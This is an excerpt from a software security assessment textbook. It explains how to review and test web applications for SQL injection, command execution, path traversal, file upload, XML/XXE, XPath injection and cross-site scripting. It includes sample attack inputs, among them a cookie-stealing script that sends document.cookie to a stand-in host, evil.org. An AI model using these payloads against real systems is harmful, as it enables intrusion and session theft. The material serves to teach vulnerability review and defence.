Common Vulnerabilities


Certain classes of technical vulnerabilities are common across most Web technologies. Web applications are usually written in high-level languages that are largely immune to the types of problems that plague C and C++ applications, such as buffer overflows and data type conversion issues. Most security problems in programs written in these higher-level languages occur in the places where they interact with other systems or components, such as the database, file system, operating system, or network. Some of these technical problems are explained in the following sections.

SQL Injection

SQL injection, discussed in Chapter 8, is arguably one of the most common vulnerabilities in Web applications. To briefly recap, in SQL injection, a SQL query is constructed dynamically by using user input, and users are capable of inserting their own SQL commands into the query.

When reviewing a Web application, try to find every interaction with the database engine to hunt down all potential SQL injection points. Sometimes, you need to augment your testing with black-box methods if the mapping to the underlying database is obscured by an object-oriented abstraction or is otherwise unclear. In general, you want to review every SQL query to make sure it's constructed in a safe fashion.

SQL with bound parameters can be considered essentially safe because it forces that user-malleable data out-of-band from the SQL statement. Stored procedures are the next best thing, but be aware of the possibility of SQL injection when they are used. If the stored procedure constructs a dynamic SQL query using its parameters, the application is still just as vulnerable to SQL injection. This means you need source code for the scripts used to initialize the database and create stored procedures for the application, or you have to test their invocation.

If the application authors attempt to escape metacharacters in dynamically constructed SQL, they can run into a lot of trouble. First, numeric columns in SQL queries don't require metacharacters to pull off SQL injection. For example, consider the following query:

SELECT * FROM authtable WHERE PASSWORD = '$password'     AND USERNUMBER = $usernumber


Suppose that authtable.USERNUMBER is a numeric column. If users have full control of the $usernumber variable, they could set it to a value such as 100 or 1=1 or 100; drop authtable;. Note that potentially dangerous SQL injection could occur without the use of any in-band metacharacters. Consequently, escaping metacharacters would have no impact.

Escaping metacharacters can be effective for string columns, but it depends on the back-end database server and the metacharacters it honors. For example, if the application escapes single quotes by doubling them, attackers might be able to submit a variable such as \'. It would get converted to \'', which could be interpreted as an escaped single quote followed by an unescaped single quote, depending on the behavior of the back-end database server.

Another issue is related to escaping metacharacters in user-supplied data. Consider what happens if data in the database actually contains metacharacters. Say a user submits a value containing a single quote, and it's correctly escaped and inserted into the database. If the value submitted is myname ' drop users , the resulting query might be something like this:

INSERT INTO mytable id, item    VALUES ( 10, 'myname '' drop users --' );


This query is safe, but a problem could happen if that value is retrieved from the database later and used in another dynamically constructed SQL query, as shown in this example:

$username = mysqlquery(     "SELECT name FROM mytable WHERE id = 10"); $newquery =     "SELECT * FROM mydetails WHERE id = '".$username."'";


This query is now exploitable because its metacharacters aren't escaped. It ends up looking like this:

select * from my details where id = 'myname ' drop users --'


This query causes the users table to be dropped. These types of vulnerabilities are discussed in "Second Order Injection" later in this section.

Parameterized Queries

Any coverage of SQL injection would be incomplete without some introduction to protective measures. Parameterized queries, one of the two primary measures of preventing SQL injection attacks, use placeholders for variable parameters, and bind the parameter to a specific data type before issuing the statement. This method forces the query data out of-band, preventing the parameter from being interpreted as an SQL statement, regardless of the content. Parameterized queries can be implemented in a number of ways by a data access module or the database. One common form of parameterized query is a prepared statement, which was originally used to improve the performance of SQL databases. Prepared statements allow a query to be compiled once and then issued multiple times with different parameters, thus eliminating the overhead of compilation for repeated queries. This compilation also results in binding query parameters to specific data types to assist in optimizing the query execution plan. A parameterized query doesn't need to be implemented as a prepared statement; however, you can treat both as fairly interchangeable for security purposes. Here's an example of a simple parameterized query string:

"SELECT * FROM table1 WHERE val1 = ?"


The ? character is used as a placeholder for a parameter, although the exact placeholder can vary from implementation to implementation. The query parameterization usually requires parameter type information, but it can also vary between implementations. Because parameterization often includes compilation of the statement, you want to focus on the impact of that process. Specifically, you need to understand how compilation places certain restrictions on what statements can be accepted. Take a look at the following statement:

"SELECT * FROM " + tableName + " WHERE value = ?"


This statement is still vulnerable to SQL injection if users supply input for the tableName parameter; however, the developer might have no other choice for a dynamic table name. When the statement is compiled, all structural elements of the query must be present in the parameterized query, including table names, column names, and any SQL directives. Effectively, this means parameterized queries can substitute parameters for only a WHERE, SET, or VALUES clause. These three clause cover most SQL queries but miss a number of more complex cases. For example, a query with a WHERE clause might depend on certain values being present. A developer could implement it as follows:

"SELECT * FROM table WHERE name = ?"     + (param1 != NULL ? " AND col1 LIKE '" + param1 + "'" : "")     + (param2 != NULL ? " AND col2 LIKE '" + param2 + "'" : "")     + (param3 != NULL ? " AND col3 LIKE '" + param3 + "'" : "");


The developer wants to alter the structure of the WHERE clause in this case, depending on the content of certain parameters. There are safer ways to prepare this query, but the preceding approach is actually quite popular. You often see statements like this in code that allows users to search some portion of a database. Here's a more appropriate form in a parameterized query:

SELECT * FROM table WHERE name = ?     AND (? <> NULL AND col1 LIKE ?) ...


This statement is a safe version of the earlier query. However, some problems can't be solved with parameterized queries. The sort order and sort columns are also structural elements because they affect how the query planner compiles a statement. Here's an example:

SELECT * FROM table ORDER by col1, col2 ASC


You can't substitute col1, col2, or ASC with a parameter (?) in this statement, so changing the sort columns and order requires dynamic SQL or some interesting SQL acrobatics.

Stored Procedures

A stored procedure is a lot like a prepared statement; both were intended to improve performance by precompiling statements and issuing them as a separate operation. They also add several features that prepared statements lack. Stored procedures are compiled and stored in the database with a persistent name, so they exist indefinitely. They can also introduce procedural language constructs into the database query language, such as loops and branches.

Stored procedures have only three potential security issues. First, is the query called securely? Check whether the parameters are bound as they should be or whether the procedure is called like this:

"SELECT xp_myquery('" + userData + "')"


This example is vulnerable to standard SQL injection if the userData variable is attacker malleable. This mistake might seem unlikely, but it does happen often enough. The usual response from developers is that they thought the stored procedure handled that. So keep your eyes open for any stored procedures that aren't called through a bound parameter interface.

Second, are dynamic queries used inside the stored procedure? This usually happens because the developer wants to perform a query that can't be precompiled, as with parameterized queries. So you need to watch for any stored procedures that call EXEC, EXECUTE, or OPEN on a string argument. When you trace them back, generally you find dynamically generated SQL. Fortunately, you can identify these locations quickly with a simple regex search.

The third issue isn't database specific, but a problem could happen when stored procedures are implemented in other languages. Many databases allow extension modules, and these modules might have vulnerabilities native to the language they're implemented in. For example, an extension written in C++ could expose memory management vulnerabilities accessible via user-supplied SQL parameters. In these cases, you need to audit the extension modules to be certain they contain no vulnerabilities.

Second Order Injection

Second order injection refers to SQL injection resulting from data in the database itself; it occurs when database fields are used to generate a dynamic query. The root of this problem is that a complex application might make determining the exact source of data difficult. For instance, say you have a database that backs a Web-based bulletin board. The following parameterized query would allow users to update the list of bulletin board memberships:

UPDATE users SET boardlist = ? WHERE user = ?


Each board has a numeric ID, so the boardlist column contains strings such as the following: 1, 15, 8, 23. On its own, this parameterized query is structured correctly and safe from injection. However, there's no point in putting data in a database if you don't use it. Here's a query you might use to access this data:

"SELECT board_id, board_name FROM boards, users     WHERE user = ? AND board_id IN (" + boardList + ")"


The boardList variable is a string retrieved from an earlier database query. The problem is that the string was originally supplied from user input and could contain malicious characters. An attacker can exploit this by first updating the board_id field and then triggering the unsafe query on this field.

These types of injection vulnerabilities are relatively common, particularly in stored procedures. However, they are often hard to detect because the vulnerability results from two or more seemingly unrelated code paths. This also makes automated analysis and fuzzing techniques almost useless. The best approach is to identify all dynamic queries. Then treat all database input fields as hostile until you can prove otherwise. In some cases, you might not be able to determine that database input is safe. The database tier might receive input from sources other than the application you're reviewing, so you might have to consider it a vulnerability of unknown potential risk.

Black Box Testing for SQL Injection

Testing for SQL injection vulnerabilities from a black-box perspective isn't difficult. The first thing you need is a proxy specifically designed to facilitate Web security testing. The Java-based application Paros works well and is available free from www.parosproxy.org. ImmunitySec offers SPIKE proxy, written by the formidable Dave Aitel. It's also available free at www.immunitysec.com.

After downloading one of these tools, you need to set it up so that you can intercept requests coming from your Web browser. Ultimately, you want to be able to intercept an outgoing request before it gets to the server, modify the request, and send it on its way. This procedure might require a little experimentation or documentation reading, but it should be straightforward to figure out.

After you've gotten the hang of intercepting requests, it's time to start testing your target Web site. You want to walk through the Web site's functionality in a systematic way, so you don't get lost or forget which ground you've covered. To accomplish this you'll need to come up with a simple way to organize your approach to the site.

Basically, you use the site like a normal user, except you intercept legitimate traffic and change it slightly to insert SQL metacharacters. So you want to intercept every GET request with a query string, every POST request, and every cookie, and in each variable, you try to insert special characters. A safe bet is to use the single quote ('), as it usually does the trick. Test only one variable at a time; you don't want to accidentally put in two single quotes that cancel each other out and make a legitimate SQL query.

Be sure to focus on variables that aren't user controlled, and definitely pick variables that look as though they contain only numeric fields, such as IDs or dates. Web application developers who are otherwise diligent about preventing SQL tampering often overlook these variables.

Primarily, you're looking for any kind of error condition. It could be anything from a database error being displayed onscreen to a 500 error from the Web server to a subtle change in the page's contents.

When you get an error that you can re-create, you can do a few things to determine whether it's caused by a SQL injection vulnerability. One technique is to double the single quote (that is, ''), which usually escapes it to the back-end database. If a single quote causes an error but two single quotes don't, you're probably on to something.

Another method that's worth trying is short-circuiting SELECT queries. If you're injecting data into a query in a string parameter, try submitting a variable like this:

' or 1=1;--


If you're lucky, it will create a SQL query like the following on the back end:

SELECT * from users where password='' or 1=1;--


The or 1=1 phrase simply selects every row in the table. The ; denotes the end of the SQL query, and the -- characters indicate that the back-end database should ignore the rest of the line. You can also try %00 to end a query.

After you find an error, your first goal is to determine whether it appears to be a SQL injection problem by trying various requests. When you determine that it's SQL related, you can start to explore the potential ramifications of the exposure, if you're so inclined. There are several good papers on advanced SQL injection and blind SQL injection that you should read for ideas on how to proceed. Be sure to visit these sites for more information: www.nextgenss.com, www.spidynamics.com, and www.cgisecurity.com.


OS and File System Interaction

During a Web application review, pay special attention to every interaction with the operating system and file system, especially when user-supplied input is involved. These locations are where developers run a high risk of creating security vulnerabilities in otherwise safe high-level languages. When reviewing Web applications, be sure to examine the types of interactions covered in the following sections. Most of these issues are related to vulnerable metacharacter handling, so refer to Chapter 8 for more information.

Execution

CGI scripts often rely on external programs to perform part of the application processing. Developers often make a security-relevant mistake in calling a separate program, especially when user input is involved in the program's arguments. Here's a simple example of a vulnerable Perl program:

#!/usr/bin/perl print "Content-type: text/html\n\n"; $dir = $ENV{'QUERY_STRING'}; system("ls -laF $dir");


This program takes a directory name as the query string and attempts to print a directory listing to users. Attackers can provide any number of shell metacharacters for the directory and issue their own commands. For example, supplying /tmp;echo hi for $dir would cause the preceding Perl program to do the following:

system("ls -laF /tmp ; echo hi");


If the external program is being run in a fashion that isn't malleable, the developer might still be in trouble. You should also examine the program that's running to make sure it doesn't have any special processing functionality. For example, the UNIX mail program looks for the escape sequence ~!command. If a Web application uses that program to send mail, it might be exploitable if the user supplies input so that the mail contains that escape sequence.

Chapter 18 goes into more depth on this topic, but remember that several powerful high-level languages provide multiple ways for developers to spawn a subprocess. Often it's possible to make applications run arbitrary commands in places where the developer intended only to perform an operation such as opening a file.

Path Traversal

If the application uses user-supplied input in constructing a pathname, this constructed path could be vulnerable to a path traversal attack, also known as a path canonicalization attack. For example, consider the following VBScript ASP excerpt:

filename = "c:\temp\" & Request.Form("tempfile") Set objTextStream = objFSO.OpenTextFile(filename,1) Response.Write "Contents of the file:<br>" & objTextStream.ReadAll


If users supply a tempfile parameter with path traversal directory components, they can trick the Web application into displaying files in other directories. For example, a tempfile parameter of ..\boot.ini causes the application to open the c:\temp\..\boot.ini file and display it.

NUL Byte

Many higher-level languages have their own underlying implementation of a string data type, and more often than not, these strings can contain a character with the value of 0, or the NUL character. When these strings are passed on to the OS, the NUL byte is interpreted as terminating the string. This can be useful to attackers attempting to manipulate a Web application that's interacting with the OS or file system.

Programmatic SSI

Pay attention to locations where programmatic server-side includes are performed. Typically, they're used in a page that needs to include the contents of another script but determines which script to include at runtime. If you can manipulate the included script's filename, you can potentially read in files that you wouldn't normally have access to. In general, you can't read outside the Web root, but if you can read code you shouldn't have access to or read in files in WEB-INF, you can discover some useful information.

Here's an example of a vulnerable JSP:

<jsp:include page='<%="subpages/" +  request.getParameter("_target") + ".jsp"%>'


An attacker could submit a _target parameter like this:

../../../WEB-XML/web.xml%00


This parameter causes the JSP interpreter to include the web.xml configuration file.

File Uploading

File uploading vulnerabilities often catch developers by surprise. Many Web applications allow users to upload a file to the Web server, and these files are often stored in a directory in the Web tree. If you can manipulate the uploaded filename so that it has an extension mapped to a scripting language handler, you might be able to run arbitrary code on the Web server.

Say you're black box testing a financial application that allows users to upload a transaction file to the Web server, which then parses and transfers the file to an application server. Users couldn't control the filename, but they might be able to control the file extension. With a little bit of detective work, you could determine that the temporary directory holding the file is located in the Web tree. After the groundwork has been laid, the attack is straightforward: A quick ASP script takes a command from the query string and runs it through a command shell. The script is uploaded to the Web system as a transaction file with an extension of .asp. The file is saved to a temporary directory with a random filename. Then the following request is made directly to the temporary file:

https://www.test.com/uploads/apptemp/JASD1232.asp?cmd=echo+hi


The temporary file is run through the ASP handler, and the specified command runs on the Web server. Also, think about server-side includes in the context of file uploading. If users can upload or edit an .shtml file, they can insert SSI tags that could cause the Web server to read files and run commands of their choosing.

XML Injection

XML injection refers to inserting XML metacharacters into XML data with the intent of manipulating the meaning of an XML document or attempting to exploit the XML parser. This problem often happens in multitier Web applications in which one tier communicates with another by using XML documents (such as Web Services). If the document is constructed so that it doesn't use user-supplied input securely, attackers might be able to perform multiple attacks. This kind of issue can also arise when an XML document is uploaded from the local machine to the Web application as part of normal processing.

In general, when an application constructs an XML document, it can do it by using a programmatic API, such as the W3C Document Object Model (DOM), or simply by using normal text-manipulation functions. As a reviewer, you need to test any APIs the application developer uses to make sure user-supplied input is escaped correctly. Programmatic APIs are usually safe. However, if you see text-manipulation functions used to construct XML documents, you should pay close attention. For example, take a look at the following Visual Basic code:

strAuthRequest = _   "<AuthRequest>" & _   "<Login>" & Login & "</Login>" & _   "<Password>" & Password & "</Password>" & _   "</AuthRequest>"


This code has an authentication request formed by using text concatenation. If users have control of the Login and Password variables, they can place XML metacharacters such as < and > in the data and potentially alter the request's meaning.

Attackers have a few options for leveraging an XML injection vulnerability. The most straightforward option is to modify the request so that it performs something that security mechanisms would otherwise prevent. Another approach is attacking the XML parser itself. An XML parser written in C has the potential for buffer overflows or other types of problems. XML parsers have also been reported to be vulnerable to multiple denial-of-service conditions, which could be triggered through an injection vector.

Another general form of attack is the XML external entities (XXE) attack. If attackers can submit a document to the target's XML parser, they can try to make the XML parser attempt to retrieve a remote XML document. The easiest way to initiate this attack is to provide an XML document with a DOCTYPE tag that references the URL of interest. For example, attackers could submit the following XML document:

   <?xml version="1.0"?>    <!DOCTYPE foo SYSTEM "http://1.2.3.4:1234/";>    <foo/>


If the XML parser is configured to perform schema validation, it attempts to connect to 1.2.3.4 on port 1234 and issue a GET request. This request could cause the XML parser to attempt to connect to various ports from the target server's perspective. Attackers might be able to use these connection attempts for port scanning, depending on the parser's timeout behavior. They could also attempt to read in files from the file system or network, if they can devise a mechanism for viewing the results of the parsing error.

To understand why this can be an issue, consider an XML parser attempting to resolve a file:// URL via Windows networking. This connection attempt causes the server to try to authenticate and, therefore, expose itself to an SMB proxy attack from the attacker's machine. Another potential exploitation vector is trying to make outgoing connections that could create holes in stateful firewalls. For example, attackers could instruct the XML parser to attempt to connect to port 21 on their machine. If the firewall allows the outgoing FTP connection and attackers can get the XML parser to issue the PORT command, the stateful firewall might interpret the command as signifying a legitimate FTP data connection and open a corresponding connection back through the firewall.

XPath Injection

XML Path (XPath) Language is a query language that applications can use to programmatically address parts of XML documents. It's often used to extract information from an XML document. If the XPath query is dynamically constructed based on user input, extracted information could be taken from unintended parts of the document. The most common cause of XPath injection in Web applications is a large XML configuration file containing instructions for page transitions or page flowsoften used by the Controller component of an MVC application. The Web application, after completing a task, looks up the next page to be displayed in this configuration file, often using user-supplied information as part of the query. The Web application might use a query like this:

$XPathquery = "/app1/chicago/".$language."/nextaction";


If users can supply a component of the query, they can use ../ characters and XPath query specifications to form something akin to a directory traversal attack. For instance, the following value for $language backs up two components in the document, and then chooses the first child component, that child's second component, and that child's first child component:

=../../*[position()=1]/*[position()=2]/*[position()=1]


If you discover an XPath injection vulnerability during a review, you can use these position components to iterate through each possible result in the document. For example, a vulnerable query component ending with the NUL byte ('\0') could allow an attacker to fully explore the XML document without worrying about the information being appended to the XPath query.

Cross-Site Scripting

Cross-site scripting (XSS) has acquired a somewhat negative image over the years because of enthusiastic researchers flooding mailing lists with arguably low-risk attacks, but it's an interesting type of exposure. The root of the problem is that Web-based applications, Web servers, and middleware often allow users to submit HTML that's subsequently replayed by the Web server. This can allow attackers to indirectly launch an attack against another client of the Web site.

Note

Cross-site scripting is abbreviated as XSS because the obvious acronym, CSS, is already used for cascading style sheets.


For example, say you have an ASP page like this:

<html> <body> Hi there <%= Request.QueryString("name") %>!<p> </body> </html>


If you supply a name parameter in the query string, this page echoes it back to you. Say an attacker enters the following query in a Web browser:

http://localhost/test.asp?name=<img%20src%3d"javascript: alert('hi');">


When the page is displayed, it has an alert message box saying "hi," as shown in Figure 17-6.

Figure 17-6. Cross-site scripting message box


How could attackers use this message box to perform an attack? They could take many approaches, but look at a simple example for now. Say an attacker sent this query:

[View full width]

http://localhost/test.asp?name=jim!<form%20action="1.2.3.4"> <p>Enter%20Secret%20Password: <br><input%20name="password"><br><input%20type="submit"></form>


The attacker would get a response from the Web server that looks something like Figure 17-7.

Figure 17-7. Cross-site scripting response


The attacker created a form that looks like it belongs to the official site, but it actually tells the browser to send the information to the evil Web server at 1.2.3.4. You might be wondering why this attack is important, as anyone submitting this link is effectively attacking himself. This kind of attack can be initiated in a few ways, but the classic example is a link in an HTML-enabled e-mail. If attackers could hide the contents of the URI enough that it appears legitimate to end users, recipients could easily click the URI and end up at the attackers' official-looking page.

Changing page contents is a viable attack vector, but it's actually one of the less severe routes. This attack becomes more serious when you consider the injection of client-side browser scripts, such as JavaScript, client-side ActiveX objects, or Java applets. In general, these client-side technologies are limited in what they can do, as they're intended to be sandboxed from the client's machine. If a rogue Web server owner could easily instruct the client's browser to move files around or run programs, the Internet would be in a world of hurtand it occasionally is when browser bugs have this effect. So these scripting languages aren't generally useful for attacking an OS, but they do give attackers access to the contents of the Web page the scripts are part of.

For example, a user is tricked into supplying HTML that's then injected into a Web page displayed by www.bank.com. This means the injected HTML can pull data from the www.bank.com Web page, and with a trick or two, attackers can get the Web client to send this data to the evil Web server. The following example shows the quintessential form of the attack, cookie-stealing:

[View full width]

<img src="/books/2/294/1/html/2/http://trusted.org/account.asp?ak=<script>document.location.replace('http://evil.org/ steal.cgi?'+document.cookie);</script>">


Any cookies sent to www.bank.com are also sent to the www.evil.com Web server by the injected script code. This would almost certainly include a session key or other information that an attacker might be interested in.

Note

The HTTP TRACE method can cause a variation of an XSS attack known as a cross-site tracing (XST) attack. It takes advantage of a Web server that supports the trACE method to simply parrot back a malicious entity body in the context of the targeted site. This attack is prevented operationally by simply disabling the TRACE method on the Web server.


Cross-site scripting vulnerabilities can be divided into two categories. The first, often called reflected, reflexive, or first order cross-site scripting, is the most widely understood variety. The attacker's client request actually contains the malicious HTML, and the server parrots it back. The previous example is of this variety. The second type is known as stored (second order) cross-site scripting. It occurs when a Web site stores input from a user usually in a database, file, memory, and so on. The actual attack happens later when that input is retrieved from storage and presented to the client. Stored cross-site scripting can be even more dangerous than the reflected kind, because it does not require an attacker to trick a user into clicking through a link. The attack simply runs when victims view pages on a vulnerable site.

One particularly humorous example of a stored cross-site scripting vulnerability is provided by a worm that propagated across the popular social networking site myspace.com in February of 2005. An individual known as Samy exploited a stored cross-site scripting vulnerability to add himself as a friend to any member viewing his profile. (His explanation of the exploit is available at http://namb.la/popular/tech.html.) The exploit script propagates by embedding itself in every new friend's profile, ensuring an exponential growth in the affected users. Within a few hours of release, Samy was friends with most of the myspace.com community, whether they liked him or not. No damage was done, and to this day no legal action has been taken for the prank, but this incident certainly demonstrates the dangers of stored cross-site scripting vulnerabilities.

Threading Issues

Web technologies can use several different threading models. If any global data or variables exist across threads, security vulnerabilities can result if they aren't used in a thread-safe fashion. This type of vulnerability tends to surface most often in Java servlet code with Java class variables. Some specific examples are discussed in Chapter 18.

C/C++ Problems

Lower-level security issues, such as buffer overflows and format string vulnerabilities, aren't likely to occur in the high-level languages commonly used for Web applications. However, it's worth testing for them because C and C++ components tend to work their way into Web applications fairly regularly. You often see this lower-level code used in the following situations:

  • Web applications that use NSAPI or ISAPI for performance reasons

  • Web applications with ISAPI or NSAPI filters for front-end protection

  • Web interfaces that are primarily wrappers to commercial applications

  • Web interfaces that make use of external COM objects

  • Web interfaces to older business objects, business applications, and legacy databases that require C/C++ components as middleware

Surprisingly, buffer overflows can occasionally occur in an ASP or a Java Web site. They're usually the result of C/C++ code used in a nonobvious manner in the back-end processing. If the system contains multiple tiers or interfaces with technology you don't have full specifications on, you should consider testing oriented toward C/C++ issues.




The Art of Software Security Assessment. Identifying and Preventing Software Vulnerabilities
The Art of Software Security Assessment: Identifying and Preventing Software Vulnerabilities
ISBN: 0321444426
EAN: 2147483647
Year: 2004
Pages: 194

flylib.com © 2008-2017.
If you may any questions please contact us: flylib@qtcs.net